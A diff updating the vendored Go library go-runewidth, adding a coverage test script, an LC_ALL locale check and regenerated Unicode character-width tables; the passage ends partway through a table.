vendor/github.com/mattn/go-runewidth/README.md

@@ -2,7 +2,7 @@ go-runewidth
 ============
 
 [![Build Status](https://travis-ci.org/mattn/go-runewidth.png?branch=master)](https://travis-ci.org/mattn/go-runewidth)
-[![Coverage Status](https://coveralls.io/repos/mattn/go-runewidth/badge.png?branch=HEAD)](https://coveralls.io/r/mattn/go-runewidth?branch=HEAD)
+[![Codecov](https://codecov.io/gh/mattn/go-runewidth/branch/master/graph/badge.svg)](https://codecov.io/gh/mattn/go-runewidth)
 [![GoDoc](https://godoc.org/github.com/mattn/go-runewidth?status.svg)](http://godoc.org/github.com/mattn/go-runewidth)
 [![Go Report Card](https://goreportcard.com/badge/github.com/mattn/go-runewidth)](https://goreportcard.com/report/github.com/mattn/go-runewidth)
 

vendor/github.com/mattn/go-runewidth/go.test.sh

@@ -0,0 +1,12 @@
+#!/usr/bin/env bash
+
+set -e
+echo "" > coverage.txt
+
+for d in $(go list ./... | grep -v vendor); do
+    go test -race -coverprofile=profile.out -covermode=atomic "$d"
+    if [ -f profile.out ]; then
+        cat profile.out >> coverage.txt
+        rm profile.out
+    fi
+done

vendor/github.com/mattn/go-runewidth/runewidth.go

@@ -50,7 +50,6 @@ func inTables(r rune, ts ...table) bool {
 }
 
 func inTable(r rune, t table) bool {
-	// func (t table) IncludesRune(r rune) bool {
 	if r < t[0].first {
 		return false
 	}

vendor/github.com/mattn/go-runewidth/runewidth_posix.go

@@ -62,7 +62,10 @@ func isEastAsian(locale string) bool {
 
 // IsEastAsian return true if the current locale is CJK
 func IsEastAsian() bool {
-	locale := os.Getenv("LC_CTYPE")
+	locale := os.Getenv("LC_ALL")
+	if locale == "" {
+		locale = os.Getenv("LC_CTYPE")
+	}
 	if locale == "" {
 		locale = os.Getenv("LANG")
 	}

vendor/github.com/mattn/go-runewidth/runewidth_table.go

@@ -1,20 +1,23 @@
+// Code generated by script/generate.go. DO NOT EDIT.
+
 package runewidth
 
 var combining = table{
 	{0x0300, 0x036F}, {0x0483, 0x0489}, {0x07EB, 0x07F3},
 	{0x0C00, 0x0C00}, {0x0C04, 0x0C04}, {0x0D00, 0x0D01},
-	{0x135D, 0x135F}, {0x1A7F, 0x1A7F}, {0x1AB0, 0x1ABE},
+	{0x135D, 0x135F}, {0x1A7F, 0x1A7F}, {0x1AB0, 0x1AC0},
 	{0x1B6B, 0x1B73}, {0x1DC0, 0x1DF9}, {0x1DFB, 0x1DFF},
 	{0x20D0, 0x20F0}, {0x2CEF, 0x2CF1}, {0x2DE0, 0x2DFF},
 	{0x3099, 0x309A}, {0xA66F, 0xA672}, {0xA674, 0xA67D},
 	{0xA69E, 0xA69F}, {0xA6F0, 0xA6F1}, {0xA8E0, 0xA8F1},
 	{0xFE20, 0xFE2F}, {0x101FD, 0x101FD}, {0x10376, 0x1037A},
-	{0x10F46, 0x10F50}, {0x11300, 0x11301}, {0x1133B, 0x1133C},
-	{0x11366, 0x1136C}, {0x11370, 0x11374}, {0x16AF0, 0x16AF4},
-	{0x1D165, 0x1D169}, {0x1D16D, 0x1D172}, {0x1D17B, 0x1D182},
-	{0x1D185, 0x1D18B}, {0x1D1AA, 0x1D1AD}, {0x1D242, 0x1D244},
-	{0x1E000, 0x1E006}, {0x1E008, 0x1E018}, {0x1E01B, 0x1E021},
-	{0x1E023, 0x1E024}, {0x1E026, 0x1E02A}, {0x1E8D0, 0x1E8D6},
+	{0x10EAB, 0x10EAC}, {0x10F46, 0x10F50}, {0x11300, 0x11301},
+	{0x1133B, 0x1133C}, {0x11366, 0x1136C}, {0x11370, 0x11374},
+	{0x16AF0, 0x16AF4}, {0x1D165, 0x1D169}, {0x1D16D, 0x1D172},
+	{0x1D17B, 0x1D182}, {0x1D185, 0x1D18B}, {0x1D1AA, 0x1D1AD},
+	{0x1D242, 0x1D244}, {0x1E000, 0x1E006}, {0x1E008, 0x1E018},
+	{0x1E01B, 0x1E021}, {0x1E023, 0x1E024}, {0x1E026, 0x1E02A},
+	{0x1E8D0, 0x1E8D6},
 }
 
 var doublewidth = table{
@@ -32,29 +35,30 @@ var doublewidth = table{
 	{0x2B50, 0x2B50}, {0x2B55, 0x2B55}, {0x2E80, 0x2E99},
 	{0x2E9B, 0x2EF3}, {0x2F00, 0x2FD5}, {0x2FF0, 0x2FFB},
 	{0x3000, 0x303E}, {0x3041, 0x3096}, {0x3099, 0x30FF},
-	{0x3105, 0x312F}, {0x3131, 0x318E}, {0x3190, 0x31BA},
-	{0x31C0, 0x31E3}, {0x31F0, 0x321E}, {0x3220, 0x3247},
-	{0x3250, 0x4DBF}, {0x4E00, 0xA48C}, {0xA490, 0xA4C6},
-	{0xA960, 0xA97C}, {0xAC00, 0xD7A3}, {0xF900, 0xFAFF},
-	{0xFE10, 0xFE19}, {0xFE30, 0xFE52}, {0xFE54, 0xFE66},
-	{0xFE68, 0xFE6B}, {0xFF01, 0xFF60}, {0xFFE0, 0xFFE6},
-	{0x16FE0, 0x16FE3}, {0x17000, 0x187F7}, {0x18800, 0x18AF2},
-	{0x1B000, 0x1B11E}, {0x1B150, 0x1B152}, {0x1B164, 0x1B167},
-	{0x1B170, 0x1B2FB}, {0x1F004, 0x1F004}, {0x1F0CF, 0x1F0CF},
-	{0x1F18E, 0x1F18E}, {0x1F191, 0x1F19A}, {0x1F200, 0x1F202},
-	{0x1F210, 0x1F23B}, {0x1F240, 0x1F248}, {0x1F250, 0x1F251},
-	{0x1F260, 0x1F265}, {0x1F300, 0x1F320}, {0x1F32D, 0x1F335},
-	{0x1F337, 0x1F37C}, {0x1F37E, 0x1F393}, {0x1F3A0, 0x1F3CA},
-	{0x1F3CF, 0x1F3D3}, {0x1F3E0, 0x1F3F0}, {0x1F3F4, 0x1F3F4},
-	{0x1F3F8, 0x1F43E}, {0x1F440, 0x1F440}, {0x1F442, 0x1F4FC},
-	{0x1F4FF, 0x1F53D}, {0x1F54B, 0x1F54E}, {0x1F550, 0x1F567},
-	{0x1F57A, 0x1F57A}, {0x1F595, 0x1F596}, {0x1F5A4, 0x1F5A4},
-	{0x1F5FB, 0x1F64F}, {0x1F680, 0x1F6C5}, {0x1F6CC, 0x1F6CC},
-	{0x1F6D0, 0x1F6D2}, {0x1F6D5, 0x1F6D5}, {0x1F6EB, 0x1F6EC},
-	{0x1F6F4, 0x1F6FA}, {0x1F7E0, 0x1F7EB}, {0x1F90D, 0x1F971},
-	{0x1F973, 0x1F976}, {0x1F97A, 0x1F9A2}, {0x1F9A5, 0x1F9AA},
-	{0x1F9AE, 0x1F9CA}, {0x1F9CD, 0x1F9FF}, {0x1FA70, 0x1FA73},
-	{0x1FA78, 0x1FA7A}, {0x1FA80, 0x1FA82}, {0x1FA90, 0x1FA95},
+	{0x3105, 0x312F}, {0x3131, 0x318E}, {0x3190, 0x31E3},
+	{0x31F0, 0x321E}, {0x3220, 0x3247}, {0x3250, 0x4DBF},
+	{0x4E00, 0xA48C}, {0xA490, 0xA4C6}, {0xA960, 0xA97C},
+	{0xAC00, 0xD7A3}, {0xF900, 0xFAFF}, {0xFE10, 0xFE19},
+	{0xFE30, 0xFE52}, {0xFE54, 0xFE66}, {0xFE68, 0xFE6B},
+	{0xFF01, 0xFF60}, {0xFFE0, 0xFFE6}, {0x16FE0, 0x16FE4},
+	{0x16FF0, 0x16FF1}, {0x17000, 0x187F7}, {0x18800, 0x18CD5},
+	{0x18D00, 0x18D08}, {0x1B000, 0x1B11E}, {0x1B150, 0x1B152},
+	{0x1B164, 0x1B167}, {0x1B170, 0x1B2FB}, {0x1F004, 0x1F004},
+	{0x1F0CF, 0x1F0CF}, {0x1F18E, 0x1F18E}, {0x1F191, 0x1F19A},
+	{0x1F200, 0x1F202}, {0x1F210, 0x1F23B}, {0x1F240, 0x1F248},
+	{0x1F250, 0x1F251}, {0x1F260, 0x1F265}, {0x1F300, 0x1F320},
+	{0x1F32D, 0x1F335}, {0x1F337, 0x1F37C}, {0x1F37E, 0x1F393},
+	{0x1F3A0, 0x1F3CA}, {0x1F3CF, 0x1F3D3}, {0x1F3E0, 0x1F3F0},
+	{0x1F3F4, 0x1F3F4}, {0x1F3F8, 0x1F43E}, {0x1F440, 0x1F440},
+	{0x1F442, 0x1F4FC}, {0x1F4FF, 0x1F53D}, {0x1F54B, 0x1F54E},
+	{0x1F550, 0x1F567}, {0x1F57A, 0x1F57A}, {0x1F595, 0x1F596},
+	{0x1F5A4, 0x1F5A4}, {0x1F5FB, 0x1F64F}, {0x1F680, 0x1F6C5},
+	{0x1F6CC, 0x1F6CC}, {0x1F6D0, 0x1F6D2}, {0x1F6D5, 0x1F6D7},
+	{0x1F6EB, 0x1F6EC}, {0x1F6F4, 0x1F6FC}, {0x1F7E0, 0x1F7EB},
+	{0x1F90C, 0x1F93A}, {0x1F93C, 0x1F945}, {0x1F947, 0x1F978},
+	{0x1F97A, 0x1F9CB}, {0x1F9CD, 0x1F9FF}, {0x1FA70, 0x1FA74},
+	{0x1FA78, 0x1FA7A}, {0x1FA80, 0x1FA86}, {0x1FA90, 0x1FAA8},
+	{0x1FAB0, 0x1FAB6}, {0x1FAC0, 0x1FAC2}, {0x1FAD0, 0x1FAD6},
 	{0x20000, 0x2FFFD}, {0x30000, 0x3FFFD},
 }
 
@@ -151,7 +155,7 @@ var neutral = table{
 	{0x0600, 0x061C}, {0x061E, 0x070D}, {0x070F, 0x074A},
 	{0x074D, 0x07B1}, {0x07C0, 0x07FA}, {0x07FD, 0x082D},
 	{0x0830, 0x083E}, {0x0840, 0x085B}, {0x085E, 0x085E},
-	{0x0860, 0x086A}, {0x08A0, 0x08B4}, {0x08B6, 0x08BD},
+	{0x0860, 0x086A}, {0x08A0, 0x08B4}, {0x08B6, 0x08C7},
 	{0x08D3, 0x0983}, {0x0985, 0x098C}, {0x098F, 0x0990},
 	{0x0993, 0x09A8}, {0x09AA, 0x09B0}, {0x09B2, 0x09B2},
 	{0x09B6, 0x09B9}, {0x09BC, 0x09C4}, {0x09C7, 0x09C8},
@@ -170,7 +174,7 @@ var neutral = table{
 	{0x0B05, 0x0B0C}, {0x0B0F, 0x0B10}, {0x0B13, 0x0B28},
 	{0x0B2A, 0x0B30}, {0x0B32, 0x0B33}, {0x0B35, 0x0B39},
 	{0x0B3C, 0x0B44}, {0x0B47, 0x0B48}, {0x0B4B, 0x0B4D},
-	{0x0B56, 0x0B57}, {0x0B5C, 0x0B5D}, {0x0B5F, 0x0B63},
+	{0x0B55, 0x0B57}, {0x0B5C, 0x0B5D}, {0x0B5F, 0x0B63},
 	{0x0B66, 0x0B77}, {0x0B82, 0x0B83}, {0x0B85, 0x0B8A},
 	{0x0B8E, 0x0B90}, {0x0B92, 0x0B95}, {0x0B99, 0x0B9A},
 	{0x0B9C, 0x0B9C}, {0x0B9E, 0x0B9F}, {0x0BA3, 0x0BA4},
@@ -184,166 +188,169 @@ var neutral = table{
 	{0x0C92, 0x0CA8}, {0x0CAA, 0x0CB3}, {0x0CB5, 0x0CB9},
 	{0x0CBC, 0x0CC4}, {0x0CC6, 0x0CC8}, {0x0CCA, 0x0CCD},
 	{0x0CD5, 0x0CD6}, {0x0CDE, 0x0CDE}, {0x0CE0, 0x0CE3},
-	{0x0CE6, 0x0CEF}, {0x0CF1, 0x0CF2}, {0x0D00, 0x0D03},
-	{0x0D05, 0x0D0C}, {0x0D0E, 0x0D10}, {0x0D12, 0x0D44},
-	{0x0D46, 0x0D48}, {0x0D4A, 0x0D4F}, {0x0D54, 0x0D63},
-	{0x0D66, 0x0D7F}, {0x0D82, 0x0D83}, {0x0D85, 0x0D96},
-	{0x0D9A, 0x0DB1}, {0x0DB3, 0x0DBB}, {0x0DBD, 0x0DBD},
-	{0x0DC0, 0x0DC6}, {0x0DCA, 0x0DCA}, {0x0DCF, 0x0DD4},
-	{0x0DD6, 0x0DD6}, {0x0DD8, 0x0DDF}, {0x0DE6, 0x0DEF},
-	{0x0DF2, 0x0DF4}, {0x0E01, 0x0E3A}, {0x0E3F, 0x0E5B},
-	{0x0E81, 0x0E82}, {0x0E84, 0x0E84}, {0x0E86, 0x0E8A},
-	{0x0E8C, 0x0EA3}, {0x0EA5, 0x0EA5}, {0x0EA7, 0x0EBD},
-	{0x0EC0, 0x0EC4}, {0x0EC6, 0x0EC6}, {0x0EC8, 0x0ECD},
-	{0x0ED0, 0x0ED9}, {0x0EDC, 0x0EDF}, {0x0F00, 0x0F47},
-	{0x0F49, 0x0F6C}, {0x0F71, 0x0F97}, {0x0F99, 0x0FBC},
-	{0x0FBE, 0x0FCC}, {0x0FCE, 0x0FDA}, {0x1000, 0x10C5},
-	{0x10C7, 0x10C7}, {0x10CD, 0x10CD}, {0x10D0, 0x10FF},
-	{0x1160, 0x1248}, {0x124A, 0x124D}, {0x1250, 0x1256},
-	{0x1258, 0x1258}, {0x125A, 0x125D}, {0x1260, 0x1288},
-	{0x128A, 0x128D}, {0x1290, 0x12B0}, {0x12B2, 0x12B5},
-	{0x12B8, 0x12BE}, {0x12C0, 0x12C0}, {0x12C2, 0x12C5},
-	{0x12C8, 0x12D6}, {0x12D8, 0x1310}, {0x1312, 0x1315},
-	{0x1318, 0x135A}, {0x135D, 0x137C}, {0x1380, 0x1399},
-	{0x13A0, 0x13F5}, {0x13F8, 0x13FD}, {0x1400, 0x169C},
-	{0x16A0, 0x16F8}, {0x1700, 0x170C}, {0x170E, 0x1714},
-	{0x1720, 0x1736}, {0x1740, 0x1753}, {0x1760, 0x176C},
-	{0x176E, 0x1770}, {0x1772, 0x1773}, {0x1780, 0x17DD},
-	{0x17E0, 0x17E9}, {0x17F0, 0x17F9}, {0x1800, 0x180E},
-	{0x1810, 0x1819}, {0x1820, 0x1878}, {0x1880, 0x18AA},
-	{0x18B0, 0x18F5}, {0x1900, 0x191E}, {0x1920, 0x192B},
-	{0x1930, 0x193B}, {0x1940, 0x1940}, {0x1944, 0x196D},
-	{0x1970, 0x1974}, {0x1980, 0x19AB}, {0x19B0, 0x19C9},
-	{0x19D0, 0x19DA}, {0x19DE, 0x1A1B}, {0x1A1E, 0x1A5E},
-	{0x1A60, 0x1A7C}, {0x1A7F, 0x1A89}, {0x1A90, 0x1A99},
-	{0x1AA0, 0x1AAD}, {0x1AB0, 0x1ABE}, {0x1B00, 0x1B4B},
-	{0x1B50, 0x1B7C}, {0x1B80, 0x1BF3}, {0x1BFC, 0x1C37},
-	{0x1C3B, 0x1C49}, {0x1C4D, 0x1C88}, {0x1C90, 0x1CBA},
-	{0x1CBD, 0x1CC7}, {0x1CD0, 0x1CFA}, {0x1D00, 0x1DF9},
-	{0x1DFB, 0x1F15}, {0x1F18, 0x1F1D}, {0x1F20, 0x1F45},
-	{0x1F48, 0x1F4D}, {0x1F50, 0x1F57}, {0x1F59, 0x1F59},
-	{0x1F5B, 0x1F5B}, {0x1F5D, 0x1F5D}, {0x1F5F, 0x1F7D},
-	{0x1F80, 0x1FB4}, {0x1FB6, 0x1FC4}, {0x1FC6, 0x1FD3},
-	{0x1FD6, 0x1FDB}, {0x1FDD, 0x1FEF}, {0x1FF2, 0x1FF4},
-	{0x1FF6, 0x1FFE}, {0x2000, 0x200F}, {0x2011, 0x2012},
-	{0x2017, 0x2017}, {0x201A, 0x201B}, {0x201E, 0x201F},
-	{0x2023, 0x2023}, {0x2028, 0x202F}, {0x2031, 0x2031},
-	{0x2034, 0x2034}, {0x2036, 0x203A}, {0x203C, 0x203D},
-	{0x203F, 0x2064}, {0x2066, 0x2071}, {0x2075, 0x207E},
-	{0x2080, 0x2080}, {0x2085, 0x208E}, {0x2090, 0x209C},
-	{0x20A0, 0x20A8}, {0x20AA, 0x20AB}, {0x20AD, 0x20BF},
-	{0x20D0, 0x20F0}, {0x2100, 0x2102}, {0x2104, 0x2104},
-	{0x2106, 0x2108}, {0x210A, 0x2112}, {0x2114, 0x2115},
-	{0x2117, 0x2120}, {0x2123, 0x2125}, {0x2127, 0x212A},
-	{0x212C, 0x2152}, {0x2155, 0x215A}, {0x215F, 0x215F},
-	{0x216C, 0x216F}, {0x217A, 0x2188}, {0x218A, 0x218B},
-	{0x219A, 0x21B7}, {0x21BA, 0x21D1}, {0x21D3, 0x21D3},
-	{0x21D5, 0x21E6}, {0x21E8, 0x21FF}, {0x2201, 0x2201},
-	{0x2204, 0x2206}, {0x2209, 0x220A}, {0x220C, 0x220E},
-	{0x2210, 0x2210}, {0x2212, 0x2214}, {0x2216, 0x2219},
-	{0x221B, 0x221C}, {0x2221, 0x2222}, {0x2224, 0x2224},
-	{0x2226, 0x2226}, {0x222D, 0x222D}, {0x222F, 0x2233},
-	{0x2238, 0x223B}, {0x223E, 0x2247}, {0x2249, 0x224B},
-	{0x224D, 0x2251}, {0x2253, 0x225F}, {0x2262, 0x2263},
-	{0x2268, 0x2269}, {0x226C, 0x226D}, {0x2270, 0x2281},
-	{0x2284, 0x2285}, {0x2288, 0x2294}, {0x2296, 0x2298},
-	{0x229A, 0x22A4}, {0x22A6, 0x22BE}, {0x22C0, 0x2311},
-	{0x2313, 0x2319}, {0x231C, 0x2328}, {0x232B, 0x23E8},
-	{0x23ED, 0x23EF}, {0x23F1, 0x23F2}, {0x23F4, 0x2426},
-	{0x2440, 0x244A}, {0x24EA, 0x24EA}, {0x254C, 0x254F},
-	{0x2574, 0x257F}, {0x2590, 0x2591}, {0x2596, 0x259F},
-	{0x25A2, 0x25A2}, {0x25AA, 0x25B1}, {0x25B4, 0x25B5},
-	{0x25B8, 0x25BB}, {0x25BE, 0x25BF}, {0x25C2, 0x25C5},
-	{0x25C9, 0x25CA}, {0x25CC, 0x25CD}, {0x25D2, 0x25E1},
-	{0x25E6, 0x25EE}, {0x25F0, 0x25FC}, {0x25FF, 0x2604},
-	{0x2607, 0x2608}, {0x260A, 0x260D}, {0x2610, 0x2613},
-	{0x2616, 0x261B}, {0x261D, 0x261D}, {0x261F, 0x263F},
-	{0x2641, 0x2641}, {0x2643, 0x2647}, {0x2654, 0x265F},
-	{0x2662, 0x2662}, {0x2666, 0x2666}, {0x266B, 0x266B},
-	{0x266E, 0x266E}, {0x2670, 0x267E}, {0x2680, 0x2692},
-	{0x2694, 0x269D}, {0x26A0, 0x26A0}, {0x26A2, 0x26A9},
-	{0x26AC, 0x26BC}, {0x26C0, 0x26C3}, {0x26E2, 0x26E2},
-	{0x26E4, 0x26E7}, {0x2700, 0x2704}, {0x2706, 0x2709},
-	{0x270C, 0x2727}, {0x2729, 0x273C}, {0x273E, 0x274B},
-	{0x274D, 0x274D}, {0x274F, 0x2752}, {0x2756, 0x2756},
-	{0x2758, 0x2775}, {0x2780, 0x2794}, {0x2798, 0x27AF},
-	{0x27B1, 0x27BE}, {0x27C0, 0x27E5}, {0x27EE, 0x2984},
-	{0x2987, 0x2B1A}, {0x2B1D, 0x2B4F}, {0x2B51, 0x2B54},
-	{0x2B5A, 0x2B73}, {0x2B76, 0x2B95}, {0x2B98, 0x2C2E},
-	{0x2C30, 0x2C5E}, {0x2C60, 0x2CF3}, {0x2CF9, 0x2D25},
-	{0x2D27, 0x2D27}, {0x2D2D, 0x2D2D}, {0x2D30, 0x2D67},
-	{0x2D6F, 0x2D70}, {0x2D7F, 0x2D96}, {0x2DA0, 0x2DA6},
-	{0x2DA8, 0x2DAE}, {0x2DB0, 0x2DB6}, {0x2DB8, 0x2DBE},
-	{0x2DC0, 0x2DC6}, {0x2DC8, 0x2DCE}, {0x2DD0, 0x2DD6},
-	{0x2DD8, 0x2DDE}, {0x2DE0, 0x2E4F}, {0x303F, 0x303F},
-	{0x4DC0, 0x4DFF}, {0xA4D0, 0xA62B}, {0xA640, 0xA6F7},
-	{0xA700, 0xA7BF}, {0xA7C2, 0xA7C6}, {0xA7F7, 0xA82B},
-	{0xA830, 0xA839}, {0xA840, 0xA877}, {0xA880, 0xA8C5},
-	{0xA8CE, 0xA8D9}, {0xA8E0, 0xA953}, {0xA95F, 0xA95F},
-	{0xA980, 0xA9CD}, {0xA9CF, 0xA9D9}, {0xA9DE, 0xA9FE},
-	{0xAA00, 0xAA36}, {0xAA40, 0xAA4D}, {0xAA50, 0xAA59},
-	{0xAA5C, 0xAAC2}, {0xAADB, 0xAAF6}, {0xAB01, 0xAB06},
-	{0xAB09, 0xAB0E}, {0xAB11, 0xAB16}, {0xAB20, 0xAB26},
-	{0xAB28, 0xAB2E}, {0xAB30, 0xAB67}, {0xAB70, 0xABED},
-	{0xABF0, 0xABF9}, {0xD7B0, 0xD7C6}, {0xD7CB, 0xD7FB},
-	{0xD800, 0xDFFF}, {0xFB00, 0xFB06}, {0xFB13, 0xFB17},
-	{0xFB1D, 0xFB36}, {0xFB38, 0xFB3C}, {0xFB3E, 0xFB3E},
-	{0xFB40, 0xFB41}, {0xFB43, 0xFB44}, {0xFB46, 0xFBC1},
-	{0xFBD3, 0xFD3F}, {0xFD50, 0xFD8F}, {0xFD92, 0xFDC7},
-	{0xFDF0, 0xFDFD}, {0xFE20, 0xFE2F}, {0xFE70, 0xFE74},
-	{0xFE76, 0xFEFC}, {0xFEFF, 0xFEFF}, {0xFFF9, 0xFFFC},
-	{0x10000, 0x1000B}, {0x1000D, 0x10026}, {0x10028, 0x1003A},
-	{0x1003C, 0x1003D}, {0x1003F, 0x1004D}, {0x10050, 0x1005D},
-	{0x10080, 0x100FA}, {0x10100, 0x10102}, {0x10107, 0x10133},
-	{0x10137, 0x1018E}, {0x10190, 0x1019B}, {0x101A0, 0x101A0},
-	{0x101D0, 0x101FD}, {0x10280, 0x1029C}, {0x102A0, 0x102D0},
-	{0x102E0, 0x102FB}, {0x10300, 0x10323}, {0x1032D, 0x1034A},
-	{0x10350, 0x1037A}, {0x10380, 0x1039D}, {0x1039F, 0x103C3},
-	{0x103C8, 0x103D5}, {0x10400, 0x1049D}, {0x104A0, 0x104A9},
-	{0x104B0, 0x104D3}, {0x104D8, 0x104FB}, {0x10500, 0x10527},
-	{0x10530, 0x10563}, {0x1056F, 0x1056F}, {0x10600, 0x10736},
-	{0x10740, 0x10755}, {0x10760, 0x10767}, {0x10800, 0x10805},
-	{0x10808, 0x10808}, {0x1080A, 0x10835}, {0x10837, 0x10838},
-	{0x1083C, 0x1083C}, {0x1083F, 0x10855}, {0x10857, 0x1089E},
-	{0x108A7, 0x108AF}, {0x108E0, 0x108F2}, {0x108F4, 0x108F5},
-	{0x108FB, 0x1091B}, {0x1091F, 0x10939}, {0x1093F, 0x1093F},
-	{0x10980, 0x109B7}, {0x109BC, 0x109CF}, {0x109D2, 0x10A03},
-	{0x10A05, 0x10A06}, {0x10A0C, 0x10A13}, {0x10A15, 0x10A17},
-	{0x10A19, 0x10A35}, {0x10A38, 0x10A3A}, {0x10A3F, 0x10A48},
-	{0x10A50, 0x10A58}, {0x10A60, 0x10A9F}, {0x10AC0, 0x10AE6},
-	{0x10AEB, 0x10AF6}, {0x10B00, 0x10B35}, {0x10B39, 0x10B55},
-	{0x10B58, 0x10B72}, {0x10B78, 0x10B91}, {0x10B99, 0x10B9C},
-	{0x10BA9, 0x10BAF}, {0x10C00, 0x10C48}, {0x10C80, 0x10CB2},
-	{0x10CC0, 0x10CF2}, {0x10CFA, 0x10D27}, {0x10D30, 0x10D39},
-	{0x10E60, 0x10E7E}, {0x10F00, 0x10F27}, {0x10F30, 0x10F59},
+	{0x0CE6, 0x0CEF}, {0x0CF1, 0x0CF2}, {0x0D00, 0x0D0C},
+	{0x0D0E, 0x0D10}, {0x0D12, 0x0D44}, {0x0D46, 0x0D48},
+	{0x0D4A, 0x0D4F}, {0x0D54, 0x0D63}, {0x0D66, 0x0D7F},
+	{0x0D81, 0x0D83}, {0x0D85, 0x0D96}, {0x0D9A, 0x0DB1},
+	{0x0DB3, 0x0DBB}, {0x0DBD, 0x0DBD}, {0x0DC0, 0x0DC6},
+	{0x0DCA, 0x0DCA}, {0x0DCF, 0x0DD4}, {0x0DD6, 0x0DD6},
+	{0x0DD8, 0x0DDF}, {0x0DE6, 0x0DEF}, {0x0DF2, 0x0DF4},
+	{0x0E01, 0x0E3A}, {0x0E3F, 0x0E5B}, {0x0E81, 0x0E82},
+	{0x0E84, 0x0E84}, {0x0E86, 0x0E8A}, {0x0E8C, 0x0EA3},
+	{0x0EA5, 0x0EA5}, {0x0EA7, 0x0EBD}, {0x0EC0, 0x0EC4},
+	{0x0EC6, 0x0EC6}, {0x0EC8, 0x0ECD}, {0x0ED0, 0x0ED9},
+	{0x0EDC, 0x0EDF}, {0x0F00, 0x0F47}, {0x0F49, 0x0F6C},
+	{0x0F71, 0x0F97}, {0x0F99, 0x0FBC}, {0x0FBE, 0x0FCC},
+	{0x0FCE, 0x0FDA}, {0x1000, 0x10C5}, {0x10C7, 0x10C7},
+	{0x10CD, 0x10CD}, {0x10D0, 0x10FF}, {0x1160, 0x1248},
+	{0x124A, 0x124D}, {0x1250, 0x1256}, {0x1258, 0x1258},
+	{0x125A, 0x125D}, {0x1260, 0x1288}, {0x128A, 0x128D},
+	{0x1290, 0x12B0}, {0x12B2, 0x12B5}, {0x12B8, 0x12BE},
+	{0x12C0, 0x12C0}, {0x12C2, 0x12C5}, {0x12C8, 0x12D6},
+	{0x12D8, 0x1310}, {0x1312, 0x1315}, {0x1318, 0x135A},
+	{0x135D, 0x137C}, {0x1380, 0x1399}, {0x13A0, 0x13F5},
+	{0x13F8, 0x13FD}, {0x1400, 0x169C}, {0x16A0, 0x16F8},
+	{0x1700, 0x170C}, {0x170E, 0x1714}, {0x1720, 0x1736},
+	{0x1740, 0x1753}, {0x1760, 0x176C}, {0x176E, 0x1770},
+	{0x1772, 0x1773}, {0x1780, 0x17DD}, {0x17E0, 0x17E9},
+	{0x17F0, 0x17F9}, {0x1800, 0x180E}, {0x1810, 0x1819},
+	{0x1820, 0x1878}, {0x1880, 0x18AA}, {0x18B0, 0x18F5},
+	{0x1900, 0x191E}, {0x1920, 0x192B}, {0x1930, 0x193B},
+	{0x1940, 0x1940}, {0x1944, 0x196D}, {0x1970, 0x1974},
+	{0x1980, 0x19AB}, {0x19B0, 0x19C9}, {0x19D0, 0x19DA},
+	{0x19DE, 0x1A1B}, {0x1A1E, 0x1A5E}, {0x1A60, 0x1A7C},
+	{0x1A7F, 0x1A89}, {0x1A90, 0x1A99}, {0x1AA0, 0x1AAD},
+	{0x1AB0, 0x1AC0}, {0x1B00, 0x1B4B}, {0x1B50, 0x1B7C},
+	{0x1B80, 0x1BF3}, {0x1BFC, 0x1C37}, {0x1C3B, 0x1C49},
+	{0x1C4D, 0x1C88}, {0x1C90, 0x1CBA}, {0x1CBD, 0x1CC7},
+	{0x1CD0, 0x1CFA}, {0x1D00, 0x1DF9}, {0x1DFB, 0x1F15},
+	{0x1F18, 0x1F1D}, {0x1F20, 0x1F45}, {0x1F48, 0x1F4D},
+	{0x1F50, 0x1F57}, {0x1F59, 0x1F59}, {0x1F5B, 0x1F5B},
+	{0x1F5D, 0x1F5D}, {0x1F5F, 0x1F7D}, {0x1F80, 0x1FB4},
+	{0x1FB6, 0x1FC4}, {0x1FC6, 0x1FD3}, {0x1FD6, 0x1FDB},
+	{0x1FDD, 0x1FEF}, {0x1FF2, 0x1FF4}, {0x1FF6, 0x1FFE},
+	{0x2000, 0x200F}, {0x2011, 0x2012}, {0x2017, 0x2017},
+	{0x201A, 0x201B}, {0x201E, 0x201F}, {0x2023, 0x2023},
+	{0x2028, 0x202F}, {0x2031, 0x2031}, {0x2034, 0x2034},
+	{0x2036, 0x203A}, {0x203C, 0x203D}, {0x203F, 0x2064},
+	{0x2066, 0x2071}, {0x2075, 0x207E}, {0x2080, 0x2080},
+	{0x2085, 0x208E}, {0x2090, 0x209C}, {0x20A0, 0x20A8},
+	{0x20AA, 0x20AB}, {0x20AD, 0x20BF}, {0x20D0, 0x20F0},
+	{0x2100, 0x2102}, {0x2104, 0x2104}, {0x2106, 0x2108},
+	{0x210A, 0x2112}, {0x2114, 0x2115}, {0x2117, 0x2120},
+	{0x2123, 0x2125}, {0x2127, 0x212A}, {0x212C, 0x2152},
+	{0x2155, 0x215A}, {0x215F, 0x215F}, {0x216C, 0x216F},
+	{0x217A, 0x2188}, {0x218A, 0x218B}, {0x219A, 0x21B7},
+	{0x21BA, 0x21D1}, {0x21D3, 0x21D3}, {0x21D5, 0x21E6},
+	{0x21E8, 0x21FF}, {0x2201, 0x2201}, {0x2204, 0x2206},
+	{0x2209, 0x220A}, {0x220C, 0x220E}, {0x2210, 0x2210},
+	{0x2212, 0x2214}, {0x2216, 0x2219}, {0x221B, 0x221C},
+	{0x2221, 0x2222}, {0x2224, 0x2224}, {0x2226, 0x2226},
+	{0x222D, 0x222D}, {0x222F, 0x2233}, {0x2238, 0x223B},
+	{0x223E, 0x2247}, {0x2249, 0x224B}, {0x224D, 0x2251},
+	{0x2253, 0x225F}, {0x2262, 0x2263}, {0x2268, 0x2269},
+	{0x226C, 0x226D}, {0x2270, 0x2281}, {0x2284, 0x2285},
+	{0x2288, 0x2294}, {0x2296, 0x2298}, {0x229A, 0x22A4},
+	{0x22A6, 0x22BE}, {0x22C0, 0x2311}, {0x2313, 0x2319},
+	{0x231C, 0x2328}, {0x232B, 0x23E8}, {0x23ED, 0x23EF},
+	{0x23F1, 0x23F2}, {0x23F4, 0x2426}, {0x2440, 0x244A},
+	{0x24EA, 0x24EA}, {0x254C, 0x254F}, {0x2574, 0x257F},
+	{0x2590, 0x2591}, {0x2596, 0x259F}, {0x25A2, 0x25A2},
+	{0x25AA, 0x25B1}, {0x25B4, 0x25B5}, {0x25B8, 0x25BB},
+	{0x25BE, 0x25BF}, {0x25C2, 0x25C5}, {0x25C9, 0x25CA},
+	{0x25CC, 0x25CD}, {0x25D2, 0x25E1}, {0x25E6, 0x25EE},
